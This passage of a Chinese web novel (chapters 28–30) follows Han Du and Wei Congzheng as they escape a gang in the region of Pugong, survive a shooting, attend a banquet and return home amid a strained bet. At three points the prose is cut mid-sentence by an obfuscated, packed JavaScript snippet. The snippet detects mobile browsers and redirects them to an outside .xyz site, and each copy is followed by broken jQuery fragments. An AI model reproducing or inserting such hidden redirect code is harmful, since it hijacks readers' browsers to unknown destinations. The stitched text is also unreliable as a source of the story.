“是你笨手笨脚。”韩渡开始人身攻击。
“肯定是你选的车不好。”魏从峥不认,为了证明不是自己的问题,又蹬了上去。
渐渐地,他的平衡感越来越好。
魏从峥绕着荒地骑行,韩渡就站在荒地中间,看他速度逐渐加快,鼓掌赞道:“恭喜,你已经学会了。”
魏从峥将车徐徐停在韩渡身前,谦虚道:“还是小韩老师教的好。”
两人在荒地的台阶上席地而坐,暖风吹过头顶的树叶,掀起层层绿波。
韩渡问:“你把阿立支到哪里去了?”
“我让他到处走走,这镇子距离山寨那么近,很可能有什么发现。”魏从峥回答。
“昨晚追我们的人到底是谁?”
“是吴泰和的弟弟吴维栋。”魏从峥道,“吴泰和是同盟军首领。昨天我们去的地方就是他的一处据点。”
“你这次来蒲贡,到底是什么目的?”韩渡直觉里面的事不简单。
“跟你说了,来是为了谈笔生意。”魏从峥又开始含糊其辞。
韩渡知道再问也打听不出什么,于是问起别的:“那老黄他们的死,就没有个交代?”
“你想要什么交代?”魏从峥笑了笑。
“当地政府呢?”
魏从峥摇头:“吴泰和就是这里的‘政府’。”
“吴泰和跟他弟弟是一伙的吗?”
“不是,但也不见得会为我们出头。”
“那老黄他们就白白送命了?”韩渡愠怒道。
“我会让人抚恤好他们的家属。”魏从峥道,“讨回公道这件事,在蒲贡就是伪命题,他们在接这个任务的时候,已经做好了最坏的打算。”
见韩渡依然面含忿色,魏从峥用手背敲了敲他大腿:“你要是咽不下这口气,我现在就带着阿立冲上山跟他们拼命。”
“胡说什么。”韩渡责怪地看他。
“这不是看你不高兴吗?舍我这条命算什么,死也要为我们韩老师出口气。”
明知他是在故意逗自己笑,韩渡却心神黯然,笑不出来。那些人中,有许多都是为了保护他而失去性命,他无法接受这个结果,却也无能为力。也许正如魏从峥所说的,他们能做的就是照顾好牺牲者的家属。
蒲贡是个美好的世外胜境,绿水滔滔,青山历历,然而揭开这层面纱再看,却是个再残酷不过的是非之地。
韩渡勉强朝魏从峥笑笑,问他:“我们什么时候回燕城?”
“还要再等等。”魏从峥收敛起所有表情,认真凝视着韩渡。
韩渡回望他,睫毛轻颤,随后默默眺望远方。
两人靠坐在石阶上,望着逐渐被霞光染红的天空,一时都没有说话。
静穆的空气被一通来自阿立的电话打断。魏从峥听完阿立在手机里说的话,顿时面色肃然,对韩渡道:“他们在搜城。”
韩渡悚然一惊,当即起身。
“旅馆不能回去了,你东西都带着了吗?”魏从峥问道。
韩渡点头。他不放心这里的治安,贵重物品都随身携带着。
“好,我们去城南跟阿立汇合。”
28. 雨中混战
经过这一天的观察,小镇共有两处出口,一处在北边,背靠深山峻岭,另一处就在城南,城外遍是耕田。
他们是从北方山里跑出来的,此时当然不会再跑回去自投罗网,只是城南地势一马平川,也未必有利于躲避搜捕。
韩渡将顾虑告诉魏从峥,魏从峥笑道:“只要不进山,事情就还有转机。”
魏从峥和阿立都比他要有经验,既然是他们两个人的决定,韩渡没什么好置喙的,且山里情况复杂,保不准有什么埋伏,于是说道:“我明白了,你在前面带路,我掩护你。”
两人绕开来时的路,选了另一条远离集市的小道。
这条小道巷弯很多,人虽然少了些,却更加阴暗潮湿,地面、墙垣长满了苔藓,还常有野猫、油光水亮的黑耗子一窜而过。
他们步伐匆忙,虽然神色镇定,依然引起了当地人的注意。有顶着编织篮的妇女隔着一堵矮墙注视他们,与韩渡对视后也没有移开眼,直到目送二人离开。
韩渡看向魏从峥:“你说这镇里会不会有他们眼线?”
“他们既然搜城,多半是已经知道我们在这里了。”魏从峥说道。
韩渡抿了抿唇,加快了脚步。
从巷子里出来,两人快速横穿马路,进入对面的小街。
走了没几步,韩渡低声对魏从峥说:“后面有人。”
魏从峥点点头,放慢速度:“我来。”
那人见前面的跟踪目标在“交头接耳”,直觉不对,正犹豫着,见两人即将消失在拐弯处,心里一提,赶紧追上去。
说时迟那时快,他刚走过去,迎面便被人两拳搁倒。
“说,你们来了有多少人!”魏从峥低喝道,将他双臂反绞,死死扣在墙壁上。
“我、我也不知道……”那人哇哇一通乱叫。
魏从峥不再听他废话,一个手刀把人弄晕后,抬腿就走。
“他刚刚说什么?”韩渡听不懂本地话,只听他们没说几句就结束了,生怕自己漏掉什么重要信息。
“他说来的人很多,我们这回肯定逃不掉。”魏从峥逗他。
韩渡信以为真,惊怒道:“这帮人实在太嚣张了!就算我们逃不掉,也要带几个跟我们一起上路。”说着就去摸一直藏在怀里的枪。
魏从峥忙不迭按住他的手,笑道:“还没到动用它的时候。”
韩渡看他,情绪忽然有些低落:“我知道,我只是看它还在不在。”
魏从峥望着他的眼睛,安抚地在他手腕上捏了捏。
经过这一回,两人行走更加低调,特意避开有人的地方。
只是小镇终究不大,不久,他们再次被发现。这回不只是一个人,越来越多的人手持刀械,逐步往他们身后汇聚。
魏从峥不再让韩渡殿后,将他拉到身旁:“我打算把他们引到一个地方,先解决一部分。”
韩渡赞同他的主意,说:“要我怎么配合?”
“你见机行事,保护好自己。”
一阵狂风卷过,隐隐的轰隆声劈开天地,一滴雨水忽地打在了韩渡脸上。
韩渡仰头,天空飘起了小雨。
突如其来的雨让身后那帮人有了片刻的混乱,魏从峥和韩渡很有默契地拔腿就跑。
“他们跑了,快追!”混乱中有人大喊。
杂乱的脚步声在身后响起,那帮人紧追不舍,甚至边跑边往前方投掷石块和菜刀。
魏从峥和韩渡没有受到后面的干扰,他们人多却速度不快,于是二人遛着他们穿街走巷,直到越跑越荒,来到小镇西南边的一座废弃水泥建筑。
雨势急猛,魏从峥抹了一把脸上的雨水,冲进这栋建筑物里,环目望去,从角落里找到一根被施工队截断的废钢管,塞到韩渡手里。
见韩渡已将怀里的手枪拿了出来,魏从峥低声说:“枪声会引来更多的人,而且子弹有限,先用这个。”
韩渡紧了紧手里这根钢管。
魏从峥瞥了眼他脸色,又道:“你站我后面。”
“不用,”韩渡拒绝,“对付三四个人,我还是可以的。”
“好。”魏从峥唇角略抬,恰在这时,有跑得快的已经追了上来,他抄起脚下的废油漆桶便狠狠砸在对方腰间,趁那人躬身捂腰之际,又迅速将油漆桶罩在对方头上,猛地出脚将人踹翻。
跟在那人身后上来的见自己同伴这么快就被撂倒,吓得脚步一顿。魏从峥却没有给他反应的时间,拿起一块混凝土砖正中他额头,在对方踉跄后退时,用手边的废木材抵着他喉咙,将人摁在墙柱上,接着在对方咽喉处一按,那人便软倒下去。
短短不到十几秒里,已经有两个人失去了行动力。
韩渡看得直呼痛快,见后面还有将近二十几个人,怕魏从峥双拳难敌四手,于是便要冲上前。
魏从峥拉住韩渡,指了指楼上。韩渡眼睛一亮,当即会意,转身往二楼跑去。
楼下,魏从峥与这帮流氓匪类模样的人正面碰上,他身疾如燕,出手愈发快而狠辣,等韩渡上了楼,便不再留手,招招往这些人要害攻击。
混战中,魏从峥从对面手里抢过一柄长刀,于是战况直线升级,水泥地面逐渐被血水洇红。
韩渡站在楼上,将滞留在半空中的悬挑式钢平台往外推,看准对象后,果断将平台上堆积的废弃钢筋推了下去——
几声惨叫后,被钢筋砸中的人顿时没了声音。
韩渡如法炮制,又用这招击退了一些敌人。
雨声越来越大,噼啪噼啪打在地上。
来的人太多,魏从峥身上渐渐也见了血。
韩渡冲下楼,挥动钢管吓退一波人,随后赶到魏从峥身边,与他抵背而立。
“你还好吗?”韩渡沉声道,“我们冲出去。”
魏从峥道:“等阿立过来。”
“他知道这里?”韩渡抓住关键。
魏从峥甩掉长刀上的血珠,眼神凶戾地环顾一圈:“这里动静不小。五分钟后,如果他还没到,我们就走。”
众人被他杀得几乎破胆,一时竟不敢上前。
这时,不知是谁高喊了一声:“吴维栋来了!”原本被吓得止步不前的那帮人立时像被注入了强心剂,又扑了上来。
远远望去,确实有一批人正在往这边赶来。
“冲出去。”魏从峥道。他们已经没时间等阿立过来了。
韩渡知道眼下情势危急,于是二话不说,随魏从峥边打边往外冲。
魏从峥挥刀将钢筋架上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13897235|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的绳索斩断,趁众人被铁网困住,拉着韩渡冲进大雨里。
正带着手下奔袭而来的吴维栋鹰眼一眯,从身侧人手上夺来一杆长枪,夹在腋下,瞄准突围出来的二人,嘴角露出一丝冷笑,旋即扣动扳机。
那一刻,韩渡的听力仿佛被无限放大,他像是听到了子弹擦破空气的嘶嘶声,浑身寒毛直竖。
说不清那颗子弹瞄准的是谁,两人靠得太近,不容韩渡多想,他在看到吴维栋举枪的那一刻,已经不由自主地横臂挡在魏从峥身前。
韩渡只感觉大脑一空,不等他意识回拢,已经被魏从峥拦腰拉到了另一边。
胳膊一阵火辣辣的炙痛感,即便魏从峥动作迅速,韩渡还是被子弹射中,不幸中的万幸是只伤到了胳膊。
几乎是同一时刻,又一道枪声响起,远处的吴维栋应声倒地。
魏从峥望着韩渡的胳膊,正要说话,韩渡忙道:“趁现在,快走。”
听这枪声,应是阿立已经到了,不知藏在哪里,趁吴维栋专心射击之时给了他猝不及防的一枪。
不远处,因吴维栋中弹,他带来的一帮人群龙无首、进退失据,哪怕见魏从峥和韩渡逃跑,也无心追赶。倒是有几人追了上来,很快就被魏从峥用枪击毙。
二人闯出这片废弃的建筑工地,阿立终于现身。他瞥了眼韩渡手臂的伤,向魏从峥汇报:“他们的人手都被吸引过来了,只有少数在把守南门。”
魏从峥冷峻道:“少数是多少?”
阿立愣了一下,回答:“一只手的数。”
“你去解决掉。”
阿立没有犹豫,脆声道:“是!”
他走远后,韩渡有些放心不下:“他一个人可以吗?”
魏从峥说:“没问题。”
此时,因磅礴大雨和激烈的械斗、枪击声,周围集市上的人已经一哄而散。魏从峥见到一处药店,便要进去。
“别,”韩渡赶紧说,“正事要紧,我们先出镇。”
“你胳膊里的子弹要尽早取出来。”魏从峥望着韩渡,“这里医疗条件不行,不能等伤口恶化。”
“先逃出去再说。”韩渡一手捂着不断出血的胳膊,受伤的那只手要去拦他。
魏从峥扶住他的手,声音低柔:“我去找工具,找到我们就走。”
韩渡看清他眼里的坚持,轻轻在他指尖一握:“你快去快回。”
魏从峥效率极高,不出几分钟就拎着一袋药品快步走了出来,远远冲韩渡喊道:“找到了!”
韩渡这才有空打量他,见他脸上有血迹,便指了指自己的脸,提醒他擦一擦。
雨水将他的头发全部打湿,一身衣服也紧紧贴着肌肉,本该是狼狈不堪的模样,魏从峥却毫不在意。他看懂韩渡的动作,信手擦掉脸上的血痕,抬眼冲韩渡一笑。
韩渡看得一怔,随即不敢再看,转开了头,慌忙道:“快走吧”。
两人来到南门时,现场果然已经被阿立“清扫”干净,他们顺利出了小镇。
雨仍然在下,出了镇子后,韩渡强撑着走了一公里,身体隐约开始发热,体力渐感不支。
昏昏沉沉中,他似乎听到魏从峥在和阿立说话。他打起精神要去细听,却无论如何捕捉不到对话内容了。
29. 戛然而止
一缕晨光从窗口泻进屋子,韩渡惺忪转醒,发现自己正躺在一张矮床上,手臂上的伤已经被人处理过,包扎着几圈白色绷带。
推门而入的少女见他醒了,惊呼了一声,不知说了一句什么话,见韩渡面露疑色,她懊恼地转身退出了房间。
没过多久,进来的人变成了魏从峥。
此时,魏从峥已换上了一套新衣服,浑身梳洗干净,神清气爽地端着一碗水进来。
韩渡一手撑着床板坐起身,从他手里接过水,一口气喝完,这才觉得舒泰了些。他见魏从峥在自己床边坐下,于是问他:“我睡了多久?”
“不久,只睡了一个晚上。”魏从峥看着似乎心情不错,凤眸微微弯起,“幸好这附近还有座村子,我们找了户人家借住。”
“你伤势怎么样?”韩渡记得那时魏从峥在废弃工地混战,身上被砍中了好几刀。
见他关心自己,魏从峥笑道:“跟你比起来都是小伤,阿立已经帮我处理好了。”
韩渡依然有些不放心:“我看看。”
魏从峥望着韩渡,将衣袖卷上去,露出手臂上一道十厘米长的血红刀伤,此时已经上了药,隐隐有结痂的迹象。
韩渡看得仔细,见伤口果然处理得很好,暗松口气,这才想起自己的事:“我当时好像晕过去了。”
“你发高烧了,”魏从峥说,将衣袖缓缓放下,“睡得太沉,取子弹的时候都没醒过来。”
韩渡笑道:“其实醒了一下,感觉你们马上就要动刀了,我当时想,还是继续睡过去吧。”
魏从峥被韩渡难得的幽默逗笑:“我果然喜欢听你说话。”
笑完后,魏从峥忽然问道:“为什么替我挡那颗子弹?”
此话一出,空气瞬间安静下来。
一个本该简单的问题,却一下子难住了韩渡。
是啊,他为什么要去挡那颗子弹?
这几天发生了太多事情,当时场面也非常混乱,情急之下,他根本没来得及思考自己的行为意味着什么,甚至连那颗子弹是射向他的还是魏从峥的都不清楚,现在来问韩渡这个问题,他也给不出答案。只是混乱之间,他脑海里忽然就跳出一个想法:魏从峥不能中弹。
一阵心悸陡然袭来,韩渡知道魏从峥还在等自己的回答,于是给了个答案:“昨天一直是你保护我,我也想发挥点作用。”
“是吗?”魏从峥听到这个答案,歪头看了看韩渡,随后一脸轻松地笑道,“幸好没有伤在要害,不然我去哪里再找一个像你这样的得力助手。”
韩渡跟着他笑笑,垂眼看向手里的瓷碗。
“告诉你个好消息,我们马上就能离开了。”
“真的?”韩渡眼里流露出喜色,这确实是个顶好的消息。
魏从峥浅笑着:“采访一下韩渡先生,这趟行程下来,你对蒲贡的印象如何?”
韩渡回忆着过去几天的见闻:“景色很好,有自己的传统历史文化,工业化影响不深,适合发展旅游业。不过,社会治安是一个不小的问题。”
“对,我们所经历的只是这里的冰山一角,要想在这里扎根下来,不是一朝一夕的事。”魏从峥道。
“扎根?”韩渡不解,魏从峥背后的公司想干什么?
“韩渡,”魏从峥嘴角含笑,“我知道,你并不满足只做一个司机。”
韩渡一愣,不知道他为什么忽然说这个。
“你很聪明,品性温良敦厚,又胆大心细,不失决断力,关键时候站得出来、扛得住事,这几天的经历也能看出,你学习能力很强,有非常高的学习意愿——你缺的只是平台和机会。”
韩渡脸色微变,不由去看魏从峥,却见魏从峥那双眼睛像漩涡一样摄人心魄。
仿佛又回到了在燕城时的感觉,魏从峥的笑容看着不再那么灿烂阳光,而是一下子充满了上位者的距离感:“回燕城后,我们的合约很快就会到期,我有意安排你做一家投资公司的南太地区副主席,未来常驻蒲贡,全权负责蒲贡的开发项目。”
常驻蒲贡?韩渡感觉喉咙干涩,朦胧间听到自己的声音说:“副主席……你太看得起我了。”
“是你太妄自菲薄。”魏从峥体贴地为韩渡掖好被角,“真正的天才凤毛麟角,放眼望去都是庸材,无非是有些人多吃了点社会资源,这才看起来像是个人才。我看人不会错,你资质上佳,假以时日不会比任何人差。”
明明什么都没有变,却又像什么都变了。
“原来这就是你带我来蒲贡的目的。”韩渡想起王舍曾经说的所谓“考察期”,忽然觉得自己很不开窍。他不知道还应该跟魏从峥说什么,对方不吝口舌地夸了他这么多,他却感觉嘴里好像只剩下了两句话:“感谢你的器重,我会认真考虑的。”
魏从峥倾身向前,用手背感受了一下韩渡额头的温度:“不着急,这个位置会一直留给你。还有些烧,我去给你弄点药。”
房门被阖上,韩渡靠在床头,良久,目光轻轻地投向那片尚有余温的位置。
药是阿立和之前那个姑娘一起送来的,那姑娘有一双乌溜溜如动物的眼睛,不住地往韩渡身上看,只是人始终站在阿立身后,看起来很依赖他。
阿立将药递到韩渡手中,说:“这里消毒条件不好,但你的伤口不能拖,所以我们只好简单处理了一下,等今天救援的人来了,再送你去医院。”
“已经联系上救援队了?”韩渡问。
阿立点头:“应该很快就到。”
阿立口中的“很快”比想象中更快,韩渡喝完药后,躺下又休息了会,再次醒来便听到了屋外隆隆的震响。
紧接着,破损的房门被一群人推开,面戴口罩、身着白大褂的医护人员抬着担架走进来,扶着韩渡躺了上去。
一共来了三架直升机,两架在低空盘旋,另一架停在村口地面上,阿立正站在舱门口,见韩渡被人推出来,引导医护人员往里面抬。
此后,一架直升机护送韩渡所在这架飞往蒲贡第一大城市温昌,也是中央政府军所在的地方,另一架则飞去了相反方向。
几日后,韩渡在温昌的国际医院里看到了关于吴泰和兄弟纷纷落网的新闻。
新闻画面里,吴泰和与重伤未愈的吴维栋被武装警察押解着往前走,在他们身后,是已经被弹雨夷为废墟的那座山寨。
韩渡知道,魏从峥此行的主要目的已经实现,距离他们回国没几天了。
他住院这几天,只有阿立时不时来探望,在他看这则新闻时,阿立正坐在旁边为他削水果。
“当时我们从天上投射火药,把整座山都犁了一遍。”阿立眉飞色舞地说道。
“当心水果刀,别划伤了。”韩渡瞥了他一眼。
“不会,我从七岁就开始用刀,比用枪还顺手。”阿立说。
“七岁?谁教你的?”
“师傅。”阿立脸上忽然露出教徒
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13897236|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一样虔诚的神色,“从那时候我就知道,家主赐给我们住处、衣服和食物,作为回报,我们要为家主奉献一切。”
“你们不是雇佣兵吗,哪来的家主?”韩渡惊讶地推翻了自己此前的认知。
“我不是雇佣兵啊。”阿立看了韩渡一眼,将削好的水果放入果盘,“准备一下吧,今晚你要跟着出席一场宴会。”
下午,有人将参加晚宴的礼服送到了病房,随行的还有专门的造型团队。他们将韩渡从床上拎起来,一通折腾,临近傍晚时分,韩渡被他们推上车,向宴会地点驶去。
在这样尘土飞扬的地方,居然隐藏着一座金碧辉煌的“宫殿”。
宫殿建造极尽奢华,除了有些地方能看出翻新的痕迹,其余一砖一瓦都上了年头,然而就是这样一座“年纪不小”的宫殿,却历久弥新,更显恢宏和底蕴。
这里五步一岗,十步一哨,由军队层层驻守,警备异常森严。
韩渡所乘车辆一路持证通行,在穿过五六道关卡后,终于来到宴会厅台阶下。
他没有直接进主厅,而是在侧殿等候了一阵子,直到魏从峥和另一位精明强悍的中年人并肩走过来,他才起身汇入魏从峥身后浩浩荡荡的队伍。
晚宴双方相谈甚欢,魏从峥将韩渡介绍给对面,韩渡调用起曾经做明星经纪人的社交手腕,勉强能够应付这样的场面。经过传译人员介绍,韩渡这才知道,坐在对面主位上的人,就是蒲贡中央政府军的首脑级人物。
魏从峥在帮他铺路,一切都在按照魏从峥的计划进行。韩渡意识到。
烛光摇曳,火舌将每张面孔都映照得扭曲失真。韩渡品尝着精心烹饪的美食,细饮甜酒,心却始终静不下来。
宴席散后,有黑色车队在宫殿台阶下迎候,魏从峥上了前头那辆车,韩渡则跟着阿立进了后面另一辆。
车内,阿立道:“你是不是不高兴?”
韩渡摇头,说:“头有些难受。”
“我让他们带你回医院。”
韩渡见他要开口跟司机打招呼,忙制止他:“不用了,我回去休息一下就行。”
车队一路将他们送到下榻的酒店,韩渡跟在阿立后面下车,双脚刚落地,抬眼间,竟在这里看到了本该待在国内的苏郁明。
苏郁明脸色苍白憔悴,坐在轮椅上,左腿打上了石膏,在他身后,荣逸飞推着轮椅,将他缓缓带到魏从峥面前。
韩渡这才记起来,离开燕城的那通电话里,吴传非似乎说了苏郁明跌落山崖的事,现在看来,人虽没有大碍,腿却要修养一段时间。要说魏从峥还是够狠心,爱人出了这样大的事,他还能面不改色地出差办自己的事,韩渡顿觉心服口服。
韩渡没再看他们,脚步不停地跟随阿立进了酒店。
另一边,魏从峥讶异地挑了挑眉,先是看了眼没有任何表情的荣逸飞,接着看向坐在轮椅上的苏郁明:“你怎么来了?”
苏郁明捏紧衣角,说道:“我听他们说,你在这边出了事,好几天没有消息。”
魏从峥笑了笑:“已经没事了。你的腿怎么了?”
苏郁明正要说话,荣逸飞轻咳了一声,说:“因为担心你,他连夜出院飞过来,想第一时间确认你平安。人我已经送到,就不打扰你们了。”
“谢了。”魏从峥点点头,从荣逸飞手里接过轮椅。
苏郁明脸色一红,对荣逸飞道了声谢。荣逸飞摆摆手,转身也进了酒店。
30. 雨夜闲谈
夜里,温昌也下起了雨。
雨水溅在酒店窗台上,发出淅淅沥沥的响声。韩渡这一觉睡得浅,雨声刚来,就悠悠睁开了眼睛。躺在床上听了会雨声,他睡意渐消,索性翻身下床,走到房间露台外。
他的房间位于酒店第五层,能够俯瞰整座温昌。温昌虽是蒲贡的第一大城,却算不上发达,基础设施老旧,整体建筑高度只有5-10米。
露台下方是酒店的自留地,种满了棕榈树和各色热带植物,此时在雨水的冲刷下,显得更加翠色欲滴。
他欣赏着眼前景色,心绪渐渐宁静。
这时,与他一臂之遥的隔壁露台,也有人走了出来。
那人似也感到意外,看清了韩渡的脸后,笑道:“这么晚了,你也不睡?”
韩渡不曾想在这里碰到荣逸飞,听他这么说,回道:“睡过一觉了,你还没睡?”
荣逸飞道:“飞机上睡过了,再睡也没意思。”
仰头看了会雨,荣逸飞忽然说:“蒲贡的雨季已经过去了,没想到还能欣赏到这里的雨景。”
韩渡将半边身体靠在栏杆上,说道:“是啊,前几天也下了一场雨,这样的天气在燕城并不多见。”
“燕城干燥,每年都会下很大的雪,不过夏末秋初,遇上台风天气,雨水也充足。”荣逸飞说着,从口袋里拿出一包烟,看向韩渡,“来一支吗?”
韩渡闻言,将手伸过去,两人隔着露台栏杆传递烟和打火机,不约而同感到一丝亲近。
将过滤嘴含在齿间,韩渡一手拢着,一手点燃香烟,深吸了一口,表情松弛下来,将打火机还给荣逸飞,笑问:“你在燕城多久了?”
“往上数三代迁过来的。”荣逸飞说,“我应该算是在燕城长大。”
“瞧我这个问题。”韩渡笑道。像荣逸飞这种份量的重要角色,又是权贵出身,不是燕城人的概率很小。
荣逸飞笑了笑,问他:“你是哪里人?”
韩渡认真回想了下原身的祖籍:“禹州。”
“禹州人杰地灵,是个好地方。”荣逸飞说,“我记得禹州境内有座名山,相传古时候很多文学大家在那里留过笔墨。”
韩渡对这方世界的历史文化了解甚少,更别说地方志了,他笑着岔开话题:“哪天你来禹州,我给你做向导。”
“好啊。”荣逸飞将一截烧断的烟灰抖落,视线向下落在韩渡胳膊上,“你胳膊受伤了?”
韩渡晃了晃包扎着绷带的胳膊:“前不久中了颗子弹。”
“看样子恢复得不错?”荣逸飞觑了觑韩渡脸色。
“是,有惊无险。”韩渡道。
“大难不死必有后福。”荣逸飞道,“经过这次,以他的性子,以后不会亏待你。”这里的“他”显然是代指魏从峥,韩渡并不意外荣逸飞知道自己为魏从峥受伤的事,有心人总会留意到。
“是吗?”韩渡不置可否,望着烟头明灭的火星,说道,“有一件事我好奇很久了,想冒昧请教一下。”
“什么事?”
“你是喜欢苏郁明的吧,为什么能一次次把人往外送?”
荣逸飞没想到是这么私人的问题,他怔愣片刻,回道:“正因为我喜欢他,才尊重他的选择。不是我一次次把他往外送,是他每一次选择的人都不是我。”
【是他每一次选择的人都不是我。】
韩渡反刍着这句话,不由看向荣逸飞,对方正把即将燃尽的烟头掐灭在水泥台子上。
说着让他这个局外人听着都感觉苦涩的话,荣逸飞本人的神色却没什么变化,对方可能是习惯了这种状况,也可能是生性看得开,所以才能云淡风轻地谈论自己跟苏郁明的关系。
他什么时候能修炼到这种境界呢?如果他有荣逸飞一半的心境,可能也不会这么晚睡不着觉了。
留在蒲贡的最后一天,温昌的雨从清早就开始断断续续的下,堆积的铅云就像永远拧不干的旧衣服,风一刮,总能滴出水来。
韩渡又在酒店的室内泳池碰到了荣逸飞。
两人看到对方,都没有感到意外,这几天几乎每天都能遇到。荣逸飞甚至很有先见之明地拿来了两瓶酒,专门给韩渡带了一瓶。
胳膊上的绷带拆掉后,韩渡几乎是报复性地泡在了泳池,每天都要下来游几圈。这天也是如此。
韩渡在泳池了游了几个来回,又浮在水面上漂了会,直到鼻腔快有些受不了消毒水的气味后,撑着池壁从水里跃了上来。
荣逸飞正坐在池边的凳子上,见韩渡走过来,递给他一条干毛巾。
笑着道了声谢,韩渡在他身旁坐下:“今天来的这么早?”
“还是晚了你一步。”荣逸飞在藤椅上躺下,双手枕在脑后,“我总算知道你为什么喜欢来这边了。”
“为什么?”
“那么大一块泳池,居然只有我们两个。清静。”
“这是早上。”韩渡用干毛巾擦了擦头发,笑道,“你下午过来看看?”
荣逸飞也笑起来。
“说什么呢,笑得这么开心。”一道不和谐的声音忽然插进来,韩渡放眼看去,发现许久未见的魏从峥居然出现在不远处,不知站了多久。
韩渡脸上的笑容渐渐淡下来,他看了眼荣逸飞,在魏从峥快过来时,放下手里的毛巾,起身走到泳池边,舒张了一下四肢,随后重新跳进了水里。
他将自己潜入水下,往远处向游去,直到听不清那两个人的对话。
等他再次浮出水面,余光一扫间,却发现荣逸飞的身影消失不见了,偌大的场馆,居然只剩下魏从峥一个人坐在岸边。
魏从峥穿着一身常服,跟这里的环境格格不入,显然不是过来游泳的。他坐在韩渡之前的位置上,手里还喝着荣逸飞带过来的酒,就这么优哉游哉地看着泳池下的韩渡。
韩渡冷不防跟他对视上,当即移开目光,就要再潜入水里。
“你再不上来,我就下去了。”岸上,那人恶劣的声音遥遥传来。
韩渡当然不信他的话,在水里转了个身,没过多久,就发现魏从峥竟然真的开始脱衣服。
一股熟悉的无奈感袭上心头,韩渡停下动作,对他说:“有什么话你就在这里说吧。”
“你确定要这么扯着嗓子跟我说话?”魏从峥放下衣角,向韩渡招招手,“过来一点。”
韩渡往岸边游得近些,在距离他还有三米的地方停下:“你说吧。特意支开荣逸飞,是有什么话要说?”
魏从峥从藤椅上站起来,往前走到池边,蹲下身,俯视水中的韩渡:“我看你这两天跟他走得挺近,是打算履行赌约了?”
韩渡先是没明白过来,随后恍然大悟,他差点把出行前跟魏从峥的赌约给忘了。经历了那么多事,他哪里还记得当初戏言的赌约。
见韩渡这副表情,魏从峥眼尾微挑:“你不会忘了吧?”
“没忘。”韩渡道,“但是你也知道,后面发生了那么多事,我哪还有心思惦记这个。”
“愿赌服输,你想赖账?”
韩渡那句话确实有这个意思在,但听见魏从峥这么说,原本到嘴边的话不得已又咽了回去。他在水中漂着,眼神也随着粼粼的水光飘忽不定:“没有,我这几天已经在……履行赌约。”
“选中他了?”
“嗯。”韩渡不想再就这个话题聊下去,勾引荣逸飞,想想都觉得冒犯。这几天相处下来,他由衷地把对方当朋友。
“我还以为你对江筹更有意思。”魏从峥看着韩渡,微笑着问,“阿飞身上是哪点吸引你了?”
心里升起一股烦躁,韩渡不想再回答:“我已经顺着你的意思做了,你等结果就行。”
魏从峥忽然将手伸进水池里,沾了水星子往韩渡脸上弹去:“阿飞不是肤浅的人,想勾引他,只会脱光衣服走来走去可不行。”
“你什么意思?”魏从峥这句话实在难听,韩渡不由瞪了过去。
“学学人家苏郁明,要欲拒还迎。衣服穿好,多走走心。你现在勾引人的手法实在太粗糙了,连我都看不下去。”
韩渡没意料到魏从峥会说出这么过分的话,气得脸色涨红,死死盯着他看。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13897237|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
却见魏从峥甚是高兴地扶额看着韩渡:“别生气了,你伤刚好,气坏了又要算我的。”
“放心,赖不到你身上。”韩渡冷冷丢下一句,转身游开。
从蒲贡回到燕城时,距离春节还有不到两周的时间。
燕城刚下过一场大雪,机场的工作人员正在铲除积雪,韩渡从飞机上下来,再次感受到冰天雪地的严寒。
从登机到落地,魏从峥一直跟苏郁明待在一起,此时四人陆续下飞机,在候机厅碰头。
韩渡拎着不多的行李走到魏从峥面前,向魏从峥说明来意。他想去疗养院接走韩卉,带韩卉回禹州过年。
魏从峥正扶着苏郁明的轮椅,听了韩渡的话,他歪了歪头,薄唇轻启:“去吧,只是别忘了我们的赌约。”
韩渡瞥了眼不远处的荣逸飞,低声警告道:“你别乱说话。”
“赌约?你们赌什么了?”坐在轮椅上的苏郁明看着他俩在自己面前打哑迷,不禁开口询问。
“亲爱的,你先坐会。”魏从峥对苏郁明说,朝韩渡抬了抬下巴,“跟我过来。”
韩渡跟着魏从峥走到一边,避开苏郁明和荣逸飞的视线,对魏从峥说道:“我不想介入你们三个,赌约的事,我在蒲贡已经试过了,不可能成功。苏郁明这次带着伤也要去蒲贡找你,这还说明不了问题吗?”
“能说明什么?”魏从峥靠着柱子,一副懒散模样。
韩渡沉声道:“他已经足够爱你,荣逸飞已经输了。”
“那又如何?”魏从峥道,“这是我们之间的赌约,你提他们干什么?让你当副主席的事,你想清楚了吗?”
“没有。你另请高明吧。”
“这也拒绝,那也不行,韩渡,你是故意跟我对着干?”
“是你的要求太不合理。”
“那我觉得你要接回你妹妹的事也不怎么合理。”
“你威胁我?”韩渡眉间锁起。
